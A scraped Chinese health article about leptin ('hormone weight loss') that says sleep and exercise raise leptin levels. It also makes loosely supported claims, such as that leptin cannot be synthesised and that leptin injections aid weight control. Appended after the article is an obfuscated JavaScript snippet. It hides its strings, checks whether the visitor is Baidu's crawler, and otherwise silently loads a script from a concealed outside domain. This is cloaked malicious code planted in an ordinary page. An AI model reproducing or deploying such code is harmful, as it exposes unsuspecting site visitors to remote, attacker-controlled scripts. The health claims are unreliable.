当前位置:首页 > 减肥 > 减肥方法 > 正文

荷尔蒙减肥 这样调节更易瘦身

2017-01-15 21:14:52  来源:360常识网   热度:
导语:对于有减肥需求的人来说,荷尔蒙减肥法就是值得大家了解和学习的一种方式,而对于此法的采取,就可以从下文内容中进行了解。 瘦蛋白——神

对于有减肥需求的人来说,荷尔蒙减肥法就是值得大家了解和学习的一种方式,而对于此法的采取,就可以从下文内容中进行了解。

瘦蛋白——神奇瘦素睡出瘦子

瘦蛋白(Leptin,又名瘦素)是一种新近发现的蛋白质荷尔蒙,它的功用是加快生物的新陈代谢,抑制食欲,控制体重。瘦素由脂肪细胞产生,作用是向脑部报告身体的脂肪水平。如果瘦体素水平下降,会向大脑发出信号,鼓励多吃食物来补充脂肪。一般来说我们的体重下降后,体内的瘦体素水平也随之下降,这时候如果追加注射瘦体素,可以让大脑误以为脂肪摄入十分正常,不传导摄入脂肪的信号,有利于控制体重。

天然瘦素睡出来

瘦素是人体内自然分泌的天然激素。现代科技还没有办法合成出瘦素让你化身橡皮人,想瘦就瘦。要想刺激瘦素分泌,目前最靠谱的方法还是睡!规律的睡眠时间和适量运动都能提升瘦素,实验证明,睡眠低于6个小时的女性,体内的瘦素水平较8小时睡眠的女性低19%。此外还有一些食物也能刺激瘦素分泌哦。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}